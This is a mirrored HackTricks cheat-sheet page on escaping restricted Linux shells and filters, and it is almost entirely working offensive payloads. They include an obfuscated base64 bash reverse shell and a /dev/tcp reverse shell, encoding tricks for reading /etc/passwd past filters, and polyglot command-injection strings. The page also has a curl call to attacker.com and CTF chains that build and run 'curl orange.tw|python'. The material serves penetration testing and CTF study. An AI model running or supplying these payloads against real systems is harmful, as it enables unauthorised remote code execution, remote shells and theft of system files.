mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-22 19:13:39 +00:00
341 lines
12 KiB
Markdown
341 lines
12 KiB
Markdown
# Bypass Linux Shell Restrictions
|
|
|
|
<details>
|
|
|
|
<summary><strong>Support HackTricks and get benefits!</strong></summary>
|
|
|
|
- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
|
|
|
- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
|
|
- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
|
|
- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
|
|
|
- **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
|
|
|
|
</details>
|
|
|
|
{% hint style="danger" %}
|
|
<img src="../../.gitbook/assets/image (307).png" alt="" data-size="original">
|
|
|
|
Through Security Skills as a Service, we help organizations to **defend against the Dark Hacking Arts**. Security Skills as a Service is an offensive cybersecurity consultancy model that combines an Intelligent Platform with the top-class, globally distributed, offensive security engineers, delivering **high-quality penetration testing results. Security Hubs** bring together offensive penetration testing tactics with human behavioral science, providing real-time insights into threat actors' tradecraft and a **complete assessment of any risks**.
|
|
|
|
{% embed url="https://securityhubs.io/" %}
|
|
{% endhint %}
|
|
|
|
## Common Limitations Bypasses
|
|
|
|
### Reverse Shell
|
|
|
|
```bash
|
|
# Double-Base64 is a great way to avoid bad characters like +, works 99% of the time
|
|
echo "echo $(echo 'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1' | base64 | base64)|ba''se''6''4 -''d|ba''se''64 -''d|b''a''s''h" | sed 's/ /${IFS}/g'
|
|
#echo\WW1GemFDQXRhU0ErSmlBdlpHVjJMM1JqY0M4eE1DNHhNQzR4TkM0NEx6UTBORFFnTUQ0bU1Rbz0K|ba''se''6''4${IFS}-''d|ba''se''64${IFS}-''d|b''a''s''h
|
|
```
|
|
|
|
### Short Rev shell
|
|
|
|
```bash
|
|
#Trick from Dikline
|
|
#Get a rev shell with
|
|
(sh)0>/dev/tcp/10.10.10.10/443
|
|
#Then get the out of the rev shell executing inside of it:
|
|
exec >&0
|
|
```
|
|
|
|
### Bypass Paths and forbidden words
|
|
|
|
```bash
|
|
# Question mark binary substitution
|
|
/usr/bin/p?ng # /usr/bin/ping
|
|
nma? -p 80 localhost # /usr/bin/nmap -p 80 localhost
|
|
|
|
# Wildcard(*) binary substitution
|
|
/usr/bin/who*mi # /usr/bin/whoami
|
|
|
|
# Wildcard + local directory arguments
|
|
touch -- -la # -- stops processing options after the --
|
|
ls *
|
|
|
|
# [chars]
|
|
/usr/bin/n[c] # /usr/bin/nc
|
|
|
|
# Quotes / Concatenation
|
|
'p'i'n'g # ping
|
|
"w"h"o"a"m"i # whoami
|
|
\u\n\a\m\e \-\a # uname -a
|
|
ech''o test # echo test
|
|
ech""o test # echo test
|
|
bas''e64 # base64
|
|
/\b\i\n/////s\h
|
|
|
|
# Execution through $0
|
|
echo whoami|$0
|
|
|
|
# Uninitialized variables: A uninitialized variable equals to null (nothing)
|
|
cat$u /etc$u/passwd$u # Use the uninitialized variable without {} before any symbol
|
|
p${u}i${u}n${u}g # Equals to ping, use {} to put the uninitialized variables between valid characters
|
|
|
|
# Fake commands
|
|
p$(u)i$(u)n$(u)g # Equals to ping but 3 errors trying to execute "u" are shown
|
|
w`u`h`u`o`u`a`u`m`u`i # Equals to whoami but 5 errors trying to execute "u" are shown
|
|
|
|
# Concatenation of strings using history
|
|
!-1 # This will be substitute by the last command executed, and !-2 by the penultimate command
|
|
mi # This will throw an error
|
|
whoa # This will throw an error
|
|
!-1!-2 # This will execute whoami
|
|
```
|
|
|
|
### Bypass forbidden spaces
|
|
|
|
```bash
|
|
# {form}
|
|
{cat,lol.txt} # cat lol.txt
|
|
{echo,test} # echo test
|
|
|
|
# IFS - Internal field separator, change " " for any other character ("]" in this case)
|
|
cat${IFS}/etc/passwd # cat /etc/passwd
|
|
cat$IFS/etc/passwd # cat /etc/passwd
|
|
|
|
# Put the command line in a variable and then execute it
|
|
IFS=];b=wget]10.10.14.21:53/lol]-P]/tmp;$b
|
|
IFS=];b=cat]/etc/passwd;$b # Using 2 ";"
|
|
IFS=,;`cat<<<cat,/etc/passwd` # Using cat twice
|
|
# Other way, just change each space for ${IFS}
|
|
echo${IFS}test
|
|
|
|
# Using hex format
|
|
X=$'cat\x20/etc/passwd'&&$X
|
|
|
|
# New lines
|
|
p\
|
|
i\
|
|
n\
|
|
g # These 4 lines will equal to ping
|
|
|
|
# Undefined variables and !
|
|
$u $u # This will be saved in the history and can be used as a space, please notice that the $u variable is undefined
|
|
uname!-1\-a # This equals to uname -a
|
|
```
|
|
|
|
### Bypass backslash and slash
|
|
|
|
```bash
|
|
cat ${HOME:0:1}etc${HOME:0:1}passwd
|
|
cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd
|
|
```
|
|
|
|
### Bypass with hex encoding
|
|
|
|
```bash
|
|
echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"
|
|
cat `echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"`
|
|
abc=$'\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64';cat abc
|
|
`echo $'cat\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64'`
|
|
cat `xxd -r -p <<< 2f6574632f706173737764`
|
|
xxd -r -ps <(echo 2f6574632f706173737764)
|
|
cat `xxd -r -ps <(echo 2f6574632f706173737764)`
|
|
```
|
|
|
|
### Bypass IPs
|
|
|
|
```bash
|
|
# Decimal IPs
|
|
127.0.0.1 == 2130706433
|
|
```
|
|
|
|
### Time based data exfiltration
|
|
|
|
```bash
|
|
time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
|
|
```
|
|
|
|
### DNS data exfiltration
|
|
|
|
You could use **burpcollab** or [**pingb**](http://pingb.in) for example.
|
|
|
|
### Builtins
|
|
|
|
In case you cannot execute external functions and only have access to a **limited set of builtins to obtain RCE**, there are some handy tricks to do it. Usually you **won't be able to use all** of the **builtins**, so you should **know all your options** to try to bypass the jail. Idea from [**devploit**](https://twitter.com/devploit).\
|
|
First of all check all the [**shell builtins**](https://www.gnu.org/software/bash/manual/html\_node/Shell-Builtin-Commands.html)**.** Then here you have some **recommendations**:
|
|
|
|
```bash
|
|
# Get list of builtins
|
|
declare builtins
|
|
|
|
# In these cases PATH won't be set, so you can try to set it
|
|
PATH="/bin" /bin/ls
|
|
export PATH="/bin"
|
|
declare PATH="/bin"
|
|
SHELL=/bin/bash
|
|
|
|
# Hex
|
|
$(echo -e "\x2f\x62\x69\x6e\x2f\x6c\x73")
|
|
$(echo -e "\x2f\x62\x69\x6e\x2f\x6c\x73")
|
|
|
|
# Input
|
|
read aaa; exec $aaa #Read more commands to execute and execute them
|
|
read aaa; eval $aaa
|
|
|
|
# Get "/" char using printf and env vars
|
|
printf %.1s "$PWD"
|
|
## Execute /bin/ls
|
|
$(printf %.1s "$PWD")bin$(printf %.1s "$PWD")ls
|
|
## To get several letters you can use a combination of printf and
|
|
declare
|
|
declare functions
|
|
declare historywords
|
|
|
|
# Read flag in current dir
|
|
source f*
|
|
flag.txt:1: command not found: CTF{asdasdasd}
|
|
|
|
# Get env variables
|
|
declare
|
|
|
|
# Get history
|
|
history
|
|
declare history
|
|
declare historywords
|
|
```
|
|
|
|
### Polyglot command injection
|
|
|
|
```bash
|
|
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
|
|
/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
|
|
```
|
|
|
|
### Bypass potential regexes
|
|
|
|
```bash
|
|
# A regex that only allow letters and numbers migth be vulnerable to new line characters
|
|
1%0a`curl http://attacker.com`
|
|
```
|
|
|
|
### RCE with 5 chars
|
|
|
|
```bash
|
|
# From the Organge Tsai BabyFirst Revenge challenge: https://github.com/orangetw/My-CTF-Web-Challenges#babyfirst-revenge
|
|
#Oragnge Tsai solution
|
|
## Step 1: generate `ls -t>g` to file "_" to be able to execute ls ordening names by cration date
|
|
http://host/?cmd=>ls\
|
|
http://host/?cmd=ls>_
|
|
http://host/?cmd=>\ \
|
|
http://host/?cmd=>-t\
|
|
http://host/?cmd=>\>g
|
|
http://host/?cmd=ls>>_
|
|
|
|
## Step2: generate `curl orange.tw|python` to file "g"
|
|
## by creating the necesary filenames and writting that content to file "g" executing the previous generated file
|
|
http://host/?cmd=>on
|
|
http://host/?cmd=>th\
|
|
http://host/?cmd=>py\
|
|
http://host/?cmd=>\|\
|
|
http://host/?cmd=>tw\
|
|
http://host/?cmd=>e.\
|
|
http://host/?cmd=>ng\
|
|
http://host/?cmd=>ra\
|
|
http://host/?cmd=>o\
|
|
http://host/?cmd=>\ \
|
|
http://host/?cmd=>rl\
|
|
http://host/?cmd=>cu\
|
|
http://host/?cmd=sh _
|
|
# Note that a "\" char is added at the end of each filename because "ls" will add a new line between filenames whenwritting to the file
|
|
|
|
## Finally execute the file "g"
|
|
http://host/?cmd=sh g
|
|
|
|
|
|
# Another solution from https://infosec.rm-it.de/2017/11/06/hitcon-2017-ctf-babyfirst-revenge/
|
|
# Instead of writing scripts to a file, create an alphabetically ordered the command and execute it with "*"
|
|
https://infosec.rm-it.de/2017/11/06/hitcon-2017-ctf-babyfirst-revenge/
|
|
## Execute tar command over a folder
|
|
http://52.199.204.34/?cmd=>tar
|
|
http://52.199.204.34/?cmd=>zcf
|
|
http://52.199.204.34/?cmd=>zzz
|
|
http://52.199.204.34/?cmd=*%20/h*
|
|
|
|
# Another curiosity if you can read files of the current folder
|
|
ln /f*
|
|
## If there is a file /flag.txt that will create a hard link
|
|
## to it in the current folder
|
|
```
|
|
|
|
### RCE with 4 chars
|
|
|
|
```bash
|
|
# In a similar fashion to the previous bypass this one just need 4 chars to execute commands
|
|
# it will follow the same principle of creating the command `ls -t>g` in a file
|
|
# and then generate the full command in filenames
|
|
# generate "g> ht- sl" to file "v"
|
|
'>dir'
|
|
'>sl'
|
|
'>g\>'
|
|
'>ht-'
|
|
'*>v'
|
|
|
|
# reverse file "v" to file "x", content "ls -th >g"
|
|
'>rev'
|
|
'*v>x'
|
|
|
|
# generate "curl orange.tw|python;"
|
|
'>\;\\'
|
|
'>on\\'
|
|
'>th\\'
|
|
'>py\\'
|
|
'>\|\\'
|
|
'>tw\\'
|
|
'>e.\\'
|
|
'>ng\\'
|
|
'>ra\\'
|
|
'>o\\'
|
|
'>\ \\'
|
|
'>rl\\'
|
|
'>cu\\'
|
|
|
|
# got shell
|
|
'sh x'
|
|
'sh g'
|
|
```
|
|
|
|
## Read-Only/Noexec Bypass
|
|
|
|
If you are inside a filesystem with the **read-only and noexec protections** there are still ways to **execute arbitrary binaries**. One of them is by the use of **DDexec**, yo can find an explanation of the technique in:
|
|
|
|
{% content-ref url="../bypass-linux-shell-restrictions/ddexec.md" %}
|
|
[ddexec.md](../bypass-linux-shell-restrictions/ddexec.md)
|
|
{% endcontent-ref %}
|
|
|
|
## References & More
|
|
|
|
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits)
|
|
* [https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet](https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet)
|
|
* [https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0](https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0)
|
|
* [https://www.secjuice.com/web-application-firewall-waf-evasion/](https://www.secjuice.com/web-application-firewall-waf-evasion/)
|
|
|
|
{% hint style="danger" %}
|
|
<img src="../../.gitbook/assets/image (307).png" alt="" data-size="original">
|
|
|
|
Through Security Skills as a Service, we help organizations to **defend against the Dark Hacking Arts**. Security Skills as a Service is an offensive cybersecurity consultancy model that combines an Intelligent Platform with the top-class, globally distributed, offensive security engineers, delivering **high-quality penetration testing results. Security Hubs** bring together offensive penetration testing tactics with human behavioral science, providing real-time insights into threat actors' tradecraft and a **complete assessment of any risks**.
|
|
|
|
{% embed url="https://securityhubs.io/" %}
|
|
{% endhint %}
|
|
|
|
<details>
|
|
|
|
<summary><strong>Support HackTricks and get benefits!</strong></summary>
|
|
|
|
- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
|
|
|
- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
|
|
- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
|
|
- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
|
|
|
- **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
|
|
|
|
</details>
|